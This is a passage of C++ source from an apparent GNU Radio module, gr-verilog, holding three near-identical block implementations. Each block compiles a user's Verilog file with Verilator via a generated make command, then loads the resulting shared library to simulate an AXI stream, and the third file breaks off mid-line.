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verilog_axi_ff_impl.cc
B0WEN-HU_gr-verilog/lib/verilog_axi_ff_impl.cc
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <gnuradio/io_signature.h> #include "verilog_axi_ff_impl.h" #include <gnuradio/thread/thread.h> #include <unistd.h> #include <stdexcept> #include <cmath> #include "verilog/constants.h" #include "verilog/Shell_cmd.h" #include "verilog/Shared_lib.h" #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" #define CPP_TEMPLATE_NAME "axi_module.cpp" #define HEADER_TEMPLATE_NAME "axi_module.h" #define SHARED_LIB_NAME "lib_axi_module.so" #define M_dir "obj_dir" #define MAKEFILE_TEMPLATE_PATH templatedir() #define CPP_TEMPLATE_PATH templatedir() #define _EXIT_SUCCESS 0 #define _EXIT_FAILURE -1 namespace gr { namespace verilog { verilog_axi_ff::sptr verilog_axi_ff::make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) { return gnuradio::get_initial_sptr (new verilog_axi_ff_impl(filename, overwrite, IO_ratio, verilator_options, module_flag, skip_output_items)); } /* * The private constructor */ verilog_axi_ff_impl::verilog_axi_ff_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) : gr::block("verilog_axi_ff", gr::io_signature::make(1, 1, sizeof(ITYPE)), gr::io_signature::make(1, 1, sizeof(OTYPE))) { /* Get module_name and module_path */ std::string filename_temp(filename); std::size_t filename_pos = filename_temp.rfind(SLASH); if (std::string::npos == filename_pos) { GR_LOG_WARN(d_logger, "filename error"); } this->verilog_module_name = filename_temp.substr(filename_pos + 1); this->verilog_module_path = filename_temp.substr(0, filename_pos + 1); // Test access this->test_access(filename, (std::string("\ncan't access verilog file in: ") + this->verilog_module_path).c_str()); /* Initialize makefile_template_path and cpp_template_path */ this->makefile_template_path = MAKEFILE_TEMPLATE_PATH; this->cpp_template_path = CPP_TEMPLATE_PATH; // Test access this->test_access((this->makefile_template_path + AXI_MODULE_CL_MAKEFILE).c_str(), (std::string("\ncan't access makefile template in: ") + this->makefile_template_path).c_str()); this->test_access((this->cpp_template_path + CPP_TEMPLATE_NAME).c_str(), (std::string("\ncan't access cpp template in: ") + this->cpp_template_path).c_str()); this->test_access((this->cpp_template_path + HEADER_TEMPLATE_NAME).c_str(), (std::string("\ncan't access header template in: ") + this->cpp_template_path).c_str()); // Reset the initial time this->main_time = 0; // Initial skip_output_items this->skip_output_items = skip_output_items; // Set overwrite this->overwrite = overwrite; // Set IO_ratio this->IO_ratio = IO_ratio; // Set verilator options this->verilator_options = std::string(verilator_options); // Set module_flag this->module_flag = module_flag; /* Call Verilator (Makefile) to generate the cpp code */ // There will be a Shell_cmd object created in the function to // run configure.sh // configure.sh will copy the makefile template and modify it // for the verilog module // the Shell_cmd will run make at the verilog module path // Check enviroments : make, g++, verilator this->check_env("make", "can't find make"); this->check_env("g++", "can't find g++"); this->check_env("verilator", "can't find verilator"); //try { // this->generate_verilator_file(); //} catch (...) { // //} /* Generate shared library and initialize verilog_module_so */ // There will be a Shell_cmd object created in the function to // run make at the verilog module path // ! generate_verilator_file will be included in the this->generate_so() try { // obtain exclusive access for duration of generate_so() gr::thread::scoped_lock lock(this->vl_mutex); this->generate_so(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Load the shared library that generated above */ // The function should also initialize the external veriable // in the shred library // Call verilog_module_so.find_func(VERILOG_INIT_FUNC) // Call verilog_module_so.find_func(VERILOG_RESET_FUNC) // shared library function reset() should be defalt generated // There would be a function called general_sim() // general_sim() could accept input and output of all port with // the help of port map stored in the verilog_data try { // obtain exclusive access for duration of load_lib() gr::thread::scoped_lock lock(this->vl_mutex); this->load_lib(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Initialize sim */ this->sim = NULL; } /* * Our virtual destructor. */ verilog_axi_ff_impl::~verilog_axi_ff_impl() { // There should not be any errors in destructor typedef void (*Close_func) (void); Close_func axi_close; axi_close = (Close_func)this->verilog_module_so.find_func("AXI_close"); if (axi_close != NULL) axi_close(); this->release_lib(); } void verilog_axi_ff_impl::forecast (int noutput_items, gr_vector_int &ninput_items_required) { /* <+forecast+> e.g. ninput_items_required[0] = noutput_items */ ninput_items_required[0] = (int) round(IO_ratio * noutput_items); } int verilog_axi_ff_impl::general_work (int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items) { const ITYPE *in = (const ITYPE *) input_items[0]; OTYPE *out = (OTYPE *) output_items[0]; // Initial and Reset the module if (NULL == this->sim) { typedef void (*Initial_func) (void); typedef void (*Reset_func) (unsigned int flag); Initial_func axi_init; Reset_func axi_reset; axi_init = (Initial_func)this->verilog_module_so.find_func("AXI_init"); axi_reset = (Reset_func)this->verilog_module_so.find_func("AXI_reset"); if ((NULL == axi_init) or (NULL == axi_reset)) { throw std::runtime_error("can't find correct AXI_init or AXI_reset in shared library"); return _EXIT_FAILURE; } axi_init(); axi_reset(this->module_flag); this->sim = (Simulation_func)this->verilog_module_so.find_func("AXI_async_transfer_ff"); if (NULL == this->sim) { throw std::runtime_error("can't find correct AXI_async_transfer_ff in shared library"); return _EXIT_FAILURE; } } // Do <+signal processing+> unsigned int input_i; unsigned int output_i; for (input_i = 0, output_i = 0; output_i < noutput_items && input_i < ninput_items[0];) { unsigned char status_code; try { status_code = this->sim(in[input_i], out[output_i], this->main_time); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } // input if (status_code & (1 << 1)) { ++input_i; } // output if (status_code & 1) { if (this->skip_output_items > 0) --this->skip_output_items; else ++output_i; } } // Tell runtime system how many input items we consumed on // each input stream. consume_each (input_i); // Tell runtime system how many output items we produced. return output_i; } /* gr::verilog::verilog_axi_ff private member functions */ int verilog_axi_ff_impl::generate_so() { // const char const std::string ENTER = "\n"; const std::string BACKSLASH = "\\"; // compile and link error code int cl_err_code = 0; // Shell_cmd class Shell_cmd bash; std::string cmd = ""; // $ cd ${verilog_module_path} cmd += "cd "; cmd += this->verilog_module_path; cmd += ENTER; // $ cp ${makefile_template_path}/axi_module_cl.mk ${verilog_module_path} // #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" cmd += "cp "; if (!this->overwrite) cmd += "-n"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->makefile_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->makefile_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; /* alternative solution: if (this->overwrite) { cmd += "cp"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } else { std::string CL_makefile_user_filename = (this->verilog_module_path + AXI_MODULE_CL_MAKEFILE); std::string CPP_user_filename = (this->verilog_module_path + CPP_TEMPLATE_NAME).c_str(); bool CL_makefile_flag = this->test_access(CL_makefile_user_filename.c_str(), ""); bool CPP_flag = this->test_access(CPP_user_filename.c_str(), ""); if (!CL_makefile_flag || !CPP_flag) { cmd += "cp "; if (!CL_makefile_flag) cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; if (!CPP_flag) { cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; } cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } } */ // $ make -j -f axi_module_cl.mk \ // USER_VL_FILENAME=user_module_name.v \ // USER_CPP_FILENAME=axi_module.cpp \ // M_DIR=obj_dir cmd += std::string("") + "make -j -f " + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + "USER_VL_FILENAME=" + this->verilog_module_name; cmd += std::string(" ") + "USER_CPP_FILENAME=" + CPP_TEMPLATE_NAME; cmd += std::string(" ") + " M_DIR=" + M_dir; // cmd += verilator_options: cmd += std::string(" ") + "VERILATOR_OPTIONS=" + this->verilator_options; cmd += ENTER; cmd += ENTER; try { cl_err_code = bash.exec(cmd.c_str()); if (cl_err_code == _EXIT_FAILURE) { throw std::runtime_error("Shell_cmd execute error"); } // Output the message // bash.print_msg(std::cout); } catch (...) { bash.print_msg(std::cerr); throw; } return cl_err_code; } int verilog_axi_ff_impl::load_lib() { int lib_err_code; lib_err_code = this->verilog_module_so.load_lib((this->verilog_module_path + M_dir).c_str(), SHARED_LIB_NAME); if (lib_err_code == _EXIT_FAILURE) { throw std::runtime_error("can't load shared library"); } return lib_err_code; } int verilog_axi_ff_impl::release_lib() { this->verilog_module_so.close_lib(); } bool verilog_axi_ff_impl::test_access(const char *filepath, const char *err_msg = "") { if ( access(filepath, R_OK) == _EXIT_FAILURE ) { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % filepath % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } bool verilog_axi_ff_impl::check_env(const char *package, const char *err_msg = "") { Shell_cmd bash; bash.exec((std::string("which ") + package).c_str()); if (bash.get_msg(0) == "") { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % package % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } /* gr::verilog::verilog_axi_ff private member functions */ } /* namespace verilog */ } /* namespace gr */
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B0WEN-HU/gr-verilog
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1,531,274
verilog_axi_ss_impl.cc
B0WEN-HU_gr-verilog/lib/verilog_axi_ss_impl.cc
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <gnuradio/io_signature.h> #include "verilog_axi_ss_impl.h" #include <gnuradio/thread/thread.h> #include <unistd.h> #include <stdexcept> #include <cmath> #include "verilog/constants.h" #include "verilog/Shell_cmd.h" #include "verilog/Shared_lib.h" #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" #define CPP_TEMPLATE_NAME "axi_module.cpp" #define HEADER_TEMPLATE_NAME "axi_module.h" #define SHARED_LIB_NAME "lib_axi_module.so" #define M_dir "obj_dir" #define MAKEFILE_TEMPLATE_PATH templatedir() #define CPP_TEMPLATE_PATH templatedir() #define _EXIT_SUCCESS 0 #define _EXIT_FAILURE -1 namespace gr { namespace verilog { verilog_axi_ss::sptr verilog_axi_ss::make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) { return gnuradio::get_initial_sptr (new verilog_axi_ss_impl(filename, overwrite, IO_ratio, verilator_options, module_flag, skip_output_items)); } /* * The private constructor */ verilog_axi_ss_impl::verilog_axi_ss_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) : gr::block("verilog_axi_ss", gr::io_signature::make(1, 1, sizeof(ITYPE)), gr::io_signature::make(1, 1, sizeof(OTYPE))) { /* Get module_name and module_path */ std::string filename_temp(filename); std::size_t filename_pos = filename_temp.rfind(SLASH); if (std::string::npos == filename_pos) { GR_LOG_WARN(d_logger, "filename error"); } this->verilog_module_name = filename_temp.substr(filename_pos + 1); this->verilog_module_path = filename_temp.substr(0, filename_pos + 1); // Test access this->test_access(filename, (std::string("\ncan't access verilog file in: ") + this->verilog_module_path).c_str()); /* Initialize makefile_template_path and cpp_template_path */ this->makefile_template_path = MAKEFILE_TEMPLATE_PATH; this->cpp_template_path = CPP_TEMPLATE_PATH; // Test access this->test_access((this->makefile_template_path + AXI_MODULE_CL_MAKEFILE).c_str(), (std::string("\ncan't access makefile template in: ") + this->makefile_template_path).c_str()); this->test_access((this->cpp_template_path + CPP_TEMPLATE_NAME).c_str(), (std::string("\ncan't access cpp template in: ") + this->cpp_template_path).c_str()); this->test_access((this->cpp_template_path + HEADER_TEMPLATE_NAME).c_str(), (std::string("\ncan't access header template in: ") + this->cpp_template_path).c_str()); // Reset the initial time this->main_time = 0; // Initial skip_output_items this->skip_output_items = skip_output_items; // Set overwrite this->overwrite = overwrite; // Set IO_ratio this->IO_ratio = IO_ratio; // Set verilator options this->verilator_options = std::string(verilator_options); // Set module_flag this->module_flag = module_flag; /* Call Verilator (Makefile) to generate the cpp code */ // There will be a Shell_cmd object created in the function to // run configure.sh // configure.sh will copy the makefile template and modify it // for the verilog module // the Shell_cmd will run make at the verilog module path // Check enviroments : make, g++, verilator this->check_env("make", "can't find make"); this->check_env("g++", "can't find g++"); this->check_env("verilator", "can't find verilator"); //try { // this->generate_verilator_file(); //} catch (...) { // //} /* Generate shared library and initialize verilog_module_so */ // There will be a Shell_cmd object created in the function to // run make at the verilog module path // ! generate_verilator_file will be included in the this->generate_so() try { // obtain exclusive access for duration of generate_so() gr::thread::scoped_lock lock(this->vl_mutex); this->generate_so(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Load the shared library that generated above */ // The function should also initialize the external veriable // in the shred library // Call verilog_module_so.find_func(VERILOG_INIT_FUNC) // Call verilog_module_so.find_func(VERILOG_RESET_FUNC) // shared library function reset() should be defalt generated // There would be a function called general_sim() // general_sim() could accept input and output of all port with // the help of port map stored in the verilog_data try { // obtain exclusive access for duration of load_lib() gr::thread::scoped_lock lock(this->vl_mutex); this->load_lib(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Initialize sim */ this->sim = NULL; } /* * Our virtual destructor. */ verilog_axi_ss_impl::~verilog_axi_ss_impl() { // There should not be any errors in destructor typedef void (*Close_func) (void); Close_func axi_close; axi_close = (Close_func)this->verilog_module_so.find_func("AXI_close"); if (axi_close != NULL) axi_close(); this->release_lib(); } void verilog_axi_ss_impl::forecast (int noutput_items, gr_vector_int &ninput_items_required) { /* <+forecast+> e.g. ninput_items_required[0] = noutput_items */ ninput_items_required[0] = (int) round(IO_ratio * noutput_items); } int verilog_axi_ss_impl::general_work (int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items) { const ITYPE *in = (const ITYPE *) input_items[0]; OTYPE *out = (OTYPE *) output_items[0]; // Initial and Reset the module if (NULL == this->sim) { typedef void (*Initial_func) (void); typedef void (*Reset_func) (unsigned int flag); Initial_func axi_init; Reset_func axi_reset; axi_init = (Initial_func)this->verilog_module_so.find_func("AXI_init"); axi_reset = (Reset_func)this->verilog_module_so.find_func("AXI_reset"); if ((NULL == axi_init) or (NULL == axi_reset)) { throw std::runtime_error("can't find correct AXI_init or AXI_reset in shared library"); return _EXIT_FAILURE; } axi_init(); axi_reset(this->module_flag); this->sim = (Simulation_func)this->verilog_module_so.find_func("AXI_async_transfer_ss"); if (NULL == this->sim) { throw std::runtime_error("can't find correct AXI_async_transfer_ss in shared library"); return _EXIT_FAILURE; } } // Do <+signal processing+> unsigned int input_i; unsigned int output_i; for (input_i = 0, output_i = 0; output_i < noutput_items && input_i < ninput_items[0];) { unsigned char status_code; try { status_code = this->sim(in[input_i], out[output_i], this->main_time); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } // input if (status_code & (1 << 1)) { ++input_i; } // output if (status_code & 1) { if (this->skip_output_items > 0) --this->skip_output_items; else ++output_i; } } // Tell runtime system how many input items we consumed on // each input stream. consume_each (input_i); // Tell runtime system how many output items we produced. return output_i; } /* gr::verilog::verilog_axi_ss private member functions */ int verilog_axi_ss_impl::generate_so() { // const char const std::string ENTER = "\n"; const std::string BACKSLASH = "\\"; // compile and link error code int cl_err_code = 0; // Shell_cmd class Shell_cmd bash; std::string cmd = ""; // $ cd ${verilog_module_path} cmd += "cd "; cmd += this->verilog_module_path; cmd += ENTER; // $ cp ${makefile_template_path}/axi_module_cl.mk ${verilog_module_path} // #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" cmd += "cp "; if (!this->overwrite) cmd += "-n"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->makefile_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->makefile_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; /* alternative solution: if (this->overwrite) { cmd += "cp"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } else { std::string CL_makefile_user_filename = (this->verilog_module_path + AXI_MODULE_CL_MAKEFILE); std::string CPP_user_filename = (this->verilog_module_path + CPP_TEMPLATE_NAME).c_str(); bool CL_makefile_flag = this->test_access(CL_makefile_user_filename.c_str(), ""); bool CPP_flag = this->test_access(CPP_user_filename.c_str(), ""); if (!CL_makefile_flag || !CPP_flag) { cmd += "cp "; if (!CL_makefile_flag) cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; if (!CPP_flag) { cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; } cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } } */ // $ make -j -f axi_module_cl.mk \ // USER_VL_FILENAME=user_module_name.v \ // USER_CPP_FILENAME=axi_module.cpp \ // M_DIR=obj_dir cmd += std::string("") + "make -j -f " + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + "USER_VL_FILENAME=" + this->verilog_module_name; cmd += std::string(" ") + "USER_CPP_FILENAME=" + CPP_TEMPLATE_NAME; cmd += std::string(" ") + " M_DIR=" + M_dir; // cmd += verilator_options: cmd += std::string(" ") + "VERILATOR_OPTIONS=" + this->verilator_options; cmd += ENTER; cmd += ENTER; try { cl_err_code = bash.exec(cmd.c_str()); if (cl_err_code == _EXIT_FAILURE) { throw std::runtime_error("Shell_cmd execute error"); } // Output the message // bash.print_msg(std::cout); } catch (...) { bash.print_msg(std::cerr); throw; } return cl_err_code; } int verilog_axi_ss_impl::load_lib() { int lib_err_code; lib_err_code = this->verilog_module_so.load_lib((this->verilog_module_path + M_dir).c_str(), SHARED_LIB_NAME); if (lib_err_code == _EXIT_FAILURE) { throw std::runtime_error("can't load shared library"); } return lib_err_code; } int verilog_axi_ss_impl::release_lib() { this->verilog_module_so.close_lib(); } bool verilog_axi_ss_impl::test_access(const char *filepath, const char *err_msg = "") { if ( access(filepath, R_OK) == _EXIT_FAILURE ) { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % filepath % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } bool verilog_axi_ss_impl::check_env(const char *package, const char *err_msg = "") { Shell_cmd bash; bash.exec((std::string("which ") + package).c_str()); if (bash.get_msg(0) == "") { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % package % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } /* gr::verilog::verilog_axi_ss private member functions */ } /* namespace verilog */ } /* namespace gr */
14,481
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.cc
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B0WEN-HU/gr-verilog
37
5
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,275
verilog_axi_cc_impl.cc
B0WEN-HU_gr-verilog/lib/verilog_axi_cc_impl.cc
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <gnuradio/io_signature.h> #include "verilog_axi_cc_impl.h" #include <gnuradio/thread/thread.h> #include <unistd.h> #include <stdexcept> #include <cmath> #include "verilog/constants.h" #include "verilog/Shell_cmd.h" #include "verilog/Shared_lib.h" #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" #define CPP_TEMPLATE_NAME "axi_module.cpp" #define HEADER_TEMPLATE_NAME "axi_module.h" #define SHARED_LIB_NAME "lib_axi_module.so" #define M_dir "obj_dir" #define MAKEFILE_TEMPLATE_PATH templatedir() #define CPP_TEMPLATE_PATH templatedir() #define _EXIT_SUCCESS 0 #define _EXIT_FAILURE -1 namespace gr { namespace verilog { verilog_axi_cc::sptr verilog_axi_cc::make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) { return gnuradio::get_initial_sptr (new verilog_axi_cc_impl(filename, overwrite, IO_ratio, verilator_options, module_flag, skip_output_items)); } /* * The private constructor */ verilog_axi_cc_impl::verilog_axi_cc_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items) : gr::block("verilog_axi_cc", gr::io_signature::make(1, 1, sizeof(ITYPE)), gr::io_signature::make(1, 1, sizeof(OTYPE))) { /* Get module_name and module_path */ std::string filename_temp(filename); std::size_t filename_pos = filename_temp.rfind(SLASH); if (std::string::npos == filename_pos) { GR_LOG_WARN(d_logger, "filename error"); } this->verilog_module_name = filename_temp.substr(filename_pos + 1); this->verilog_module_path = filename_temp.substr(0, filename_pos + 1); // Test access this->test_access(filename, (std::string("\ncan't access verilog file in: ") + this->verilog_module_path).c_str()); /* Initialize makefile_template_path and cpp_template_path */ this->makefile_template_path = MAKEFILE_TEMPLATE_PATH; this->cpp_template_path = CPP_TEMPLATE_PATH; // Test access this->test_access((this->makefile_template_path + AXI_MODULE_CL_MAKEFILE).c_str(), (std::string("\ncan't access makefile template in: ") + this->makefile_template_path).c_str()); this->test_access((this->cpp_template_path + CPP_TEMPLATE_NAME).c_str(), (std::string("\ncan't access cpp template in: ") + this->cpp_template_path).c_str()); this->test_access((this->cpp_template_path + HEADER_TEMPLATE_NAME).c_str(), (std::string("\ncan't access header template in: ") + this->cpp_template_path).c_str()); // Reset the initial time this->main_time = 0; // Initial skip_output_items this->skip_output_items = skip_output_items; // Set overwrite this->overwrite = overwrite; // Set IO_ratio this->IO_ratio = IO_ratio; // Set verilator options this->verilator_options = std::string(verilator_options); // Set module_flag this->module_flag = module_flag; /* Call Verilator (Makefile) to generate the cpp code */ // There will be a Shell_cmd object created in the function to // run configure.sh // configure.sh will copy the makefile template and modify it // for the verilog module // the Shell_cmd will run make at the verilog module path // Check enviroments : make, g++, verilator this->check_env("make", "can't find make"); this->check_env("g++", "can't find g++"); this->check_env("verilator", "can't find verilator"); //try { // this->generate_verilator_file(); //} catch (...) { // //} /* Generate shared library and initialize verilog_module_so */ // There will be a Shell_cmd object created in the function to // run make at the verilog module path // ! generate_verilator_file will be included in the this->generate_so() try { // obtain exclusive access for duration of generate_so() gr::thread::scoped_lock lock(this->vl_mutex); this->generate_so(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Load the shared library that generated above */ // The function should also initialize the external veriable // in the shred library // Call verilog_module_so.find_func(VERILOG_INIT_FUNC) // Call verilog_module_so.find_func(VERILOG_RESET_FUNC) // shared library function reset() should be defalt generated // There would be a function called general_sim() // general_sim() could accept input and output of all port with // the help of port map stored in the verilog_data try { // obtain exclusive access for duration of load_lib() gr::thread::scoped_lock lock(this->vl_mutex); this->load_lib(); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } /* Initialize sim */ this->sim = NULL; } /* * Our virtual destructor. */ verilog_axi_cc_impl::~verilog_axi_cc_impl() { // There should not be any errors in destructor typedef void (*Close_func) (void); Close_func axi_close; axi_close = (Close_func)this->verilog_module_so.find_func("AXI_close"); if (axi_close != NULL) axi_close(); this->release_lib(); } void verilog_axi_cc_impl::forecast (int noutput_items, gr_vector_int &ninput_items_required) { /* <+forecast+> e.g. ninput_items_required[0] = noutput_items */ ninput_items_required[0] = (int) round(IO_ratio * noutput_items); } int verilog_axi_cc_impl::general_work (int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items) { const ITYPE *in = (const ITYPE *) input_items[0]; OTYPE *out = (OTYPE *) output_items[0]; // Initial and Reset the module if (NULL == this->sim) { typedef void (*Initial_func) (void); typedef void (*Reset_func) (unsigned int flag); Initial_func axi_init; Reset_func axi_reset; axi_init = (Initial_func)this->verilog_module_so.find_func("AXI_init"); axi_reset = (Reset_func)this->verilog_module_so.find_func("AXI_reset"); if ((NULL == axi_init) or (NULL == axi_reset)) { throw std::runtime_error("can't find correct AXI_init or AXI_reset in shared library"); return _EXIT_FAILURE; } axi_init(); axi_reset(this->module_flag); this->sim = (Simulation_func)this->verilog_module_so.find_func("AXI_async_transfer_cc"); if (NULL == this->sim) { throw std::runtime_error("can't find correct AXI_async_transfer_cc in shared library"); return _EXIT_FAILURE; } } // Do <+signal processing+> unsigned int input_i; unsigned int output_i; for (input_i = 0, output_i = 0; output_i < noutput_items && input_i < ninput_items[0];) { unsigned char status_code; try { status_code = this->sim(in[input_i], out[output_i], this->main_time); } catch (std::runtime_error) { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % this->verilog_module_path.c_str() % strerror(errno)); throw; } // input if (status_code & (1 << 1)) { ++input_i; } // output if (status_code & 1) { if (this->skip_output_items > 0) --this->skip_output_items; else ++output_i; } } // Tell runtime system how many input items we consumed on // each input stream. consume_each (input_i); // Tell runtime system how many output items we produced. return output_i; } /* gr::verilog::verilog_axi_cc private member functions */ int verilog_axi_cc_impl::generate_so() { // const char const std::string ENTER = "\n"; const std::string BACKSLASH = "\\"; // compile and link error code int cl_err_code = 0; // Shell_cmd class Shell_cmd bash; std::string cmd = ""; // $ cd ${verilog_module_path} cmd += "cd "; cmd += this->verilog_module_path; cmd += ENTER; // $ cp ${makefile_template_path}/axi_module_cl.mk ${verilog_module_path} // #define AXI_MODULE_CL_MAKEFILE "axi_module_cl.mk" cmd += "cp "; if (!this->overwrite) cmd += "-n"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->makefile_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->makefile_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; /* alternative solution: if (this->overwrite) { cmd += "cp"; cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } else { std::string CL_makefile_user_filename = (this->verilog_module_path + AXI_MODULE_CL_MAKEFILE); std::string CPP_user_filename = (this->verilog_module_path + CPP_TEMPLATE_NAME).c_str(); bool CL_makefile_flag = this->test_access(CL_makefile_user_filename.c_str(), ""); bool CPP_flag = this->test_access(CPP_user_filename.c_str(), ""); if (!CL_makefile_flag || !CPP_flag) { cmd += "cp "; if (!CL_makefile_flag) cmd += std::string(" ") + this->makefile_template_path + AXI_MODULE_CL_MAKEFILE; if (!CPP_flag) { cmd += std::string(" ") + this->cpp_template_path + CPP_TEMPLATE_NAME; cmd += std::string(" ") + this->cpp_template_path + HEADER_TEMPLATE_NAME; } cmd += std::string(" ") + this->verilog_module_path; cmd += ENTER; } } */ // $ make -j -f axi_module_cl.mk \ // USER_VL_FILENAME=user_module_name.v \ // USER_CPP_FILENAME=axi_module.cpp \ // M_DIR=obj_dir cmd += std::string("") + "make -j -f " + AXI_MODULE_CL_MAKEFILE; cmd += std::string(" ") + "USER_VL_FILENAME=" + this->verilog_module_name; cmd += std::string(" ") + "USER_CPP_FILENAME=" + CPP_TEMPLATE_NAME; cmd += std::string(" ") + " M_DIR=" + M_dir; // cmd += verilator_options: cmd += std::string(" ") + 